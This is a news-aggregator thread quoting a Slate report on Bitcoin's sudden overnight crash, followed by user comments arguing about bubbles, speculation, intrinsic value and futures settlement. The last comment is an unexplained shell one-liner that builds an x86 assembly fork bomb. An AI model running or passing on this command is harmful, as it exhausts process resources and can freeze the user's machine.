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Bitcoin's Value Plummeted Overnight and No One Knows Why (slate.com)
Jacob Brogan, writing for Slate: While the Western Hemisphere slept, Bitcoin plummeted. Just after midnight Eastern Time on Friday, the cryptocurrency was valued at a little over $15,000, on the digital currency exchange Coinbase. At that point, it was already well below the $19,783 all-time high it had hit the week before. Over the course of the night, Bitcoin began to decline erratically, occasionally spiking but following a general downward trend. Around 9:22 a.m. Eastern, it hit a temporary floor, valued at a mere $10,400. By that point, it had declined more than $6,000 from its short-term peak the morning before, having lost more than one-third of its value. Bitcoin wasn't the only currency hit by a sharp drop. Tech Crunch's Jon Russell reports that most other prominent cryptocurrencies also fell, including Ethereum, Litecoin, and Bitcoin Cash (which is, confusingly, separate from Bitcoin proper). As Russell notes, it's hard to say why this is happening, "in the same way that nobody knows exactly why bitcoin's price has [shot] up from a touch under $1,000 at the start of the year."
It was overvalued and a bubble. Next question?
Profit taking, I'm sure. That's what often happens when a stock rises quickly; the people who got in earlier sell out to cement their profit.
Everyone knows why Bitcoin's value plummeted. It's because Bitcoin doesn't have any value other than the belief of people in Bitcoin. What I said about Bitcoin is generally true for the Dollar too, but in the case of the Dollar at least the U.S. Government will take it for your tax payments. Nobody has to take Bitcoin for anything.
People confuse creation of money with creation of value. Value is food, materials, information, useful work. Dollars/bitcoins are unreliable media for exchange of value, not the value itself. Creation of $300B in bitcoin won't help the world to feed one more mouth.
Speculators jumped on it as a get-rich-quick scheme to make money from other speculators who would - they hoped - not time the market as well as they did. But inherent in this strategy is that all speculators will cash in on their speculation, driving Bitcoin back to low values as they abscond.
Bruce Perens.
There's no "reason" because there's no rational valuation mechanism. Cryptocurrency without a mechanism for value stabilization is a scam. Blockchains are clearly useful for certain kinds of distributed trust problems, but Bitcoin is merely one instance that was always marketed as a cryptocurrency but has zero use as a transaction mechanism. Nobody wants to use a currency that may be worth 20% more, or 20% less the next day.
The only valid use case for Bitcoin I've heard described is as an improved version of the offshore banking system. In other words, a mechanism for rich people to launder and hide money. Of course, a cryptocurrency with value stability would sure as hell be a lot more useful and trusted for even this grey market purpose.
Ultimately, Bitcoin's value is driven by grey and black market activity. Money laundering, cybercrime, etc. Investing in Bitcoin is essentially investing in a residual claim on this underbelly of the economy, in the same way that regular fiat currencies are residual claims on national economies, with a healthy dose of mindless speculation and bubblemania thrown into the mix.
Holy Crap! I am going to blockchain my 3D printed autonomous crypto drones with AI in the agile cloud! It will be bigger than web scale!
I don't recall Slashdot having a bit coin story yesterday. Bitcoin felt ignored and wanted to do something to get attention again.
Bitcoin is no different than Pork Bellies.
Except it makes lousy bacon.
It is very different than pork bellies.
Pork bellies have an intrinsic value. It's food. You can eat it. That gives it a value. Bitcoins, not so much.
I heard an economist during the housing bubble point out that you could rent a house for substantially less than it would cost to buy it. He said we were in real trouble, and he was dead on. The rent value was the real value - the value that reflected its actual value.
Most of us will always pay five bucks for a pack of bacon. So that's its floor as a commodity value. Bitcoin has none.
Some could argue the dollar also has none, but that's another discussion.
There is something you guys should understand about Wall Street (particularly Goldman Sachs a.k.a. The Vampire Squid) getting into the cryptocurrency futures market. You would think on the surface, if you write (or go short) a Gold, or Oil, or even Cattle contract, that you have to come up with the goods when the futures contract matures. However, there is the little discussed option of "Cash Settlement". If you can't meet the obligations of the futures contract, you can simply pay the owner of the contract what those goods are worth in US Dollars. The markets tout this as good thing for all market participants, but in reality, it is a gross perversion of the market in general. It effectively turns your Cattle, or Oil, or Gold market into a US Dollar market.
And now they're doing the very same thing to the BTC market. When people are short BTC futures and have to come up with the goods, they don't have to worry about spiking the spot market looking for BTC. They just have to shell out USD. And the Powers That Be have LOTS of USD to spend on either side of that trade.
Great. So I'm a local electronics store. I sell someone a laptop for .1 BTC. Fair deal. That transaction is queued for a few days. He wants to walk out of the store with the laptop today. Either the store takes a huge risk of fraud (or even mistake), or the user can't get what he buys for days. Which is why anyone who thinks this is a workable currency is a fucking idiot.
I still have more fans than freaks. WTF is wrong with you people?
Selling a lot of BTC, quickly, and more importantly reliably, needs the cooperation of bitcoin miners to process your transaction quickly, ahead of others, instead of waiting until... whenever.
So, look who processed all those BTC sale transactions and how they are connected with the sellers.
Clearly, BTC trading benefits from insiders because it is so illiquid.
"For a successful technology, reality must take precedence over public relations, for Nature cannot be fooled"
Buy on the dip people! A top economist forecasts one Bitcoin will be worth one hundred million trillion dollars in three months time!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;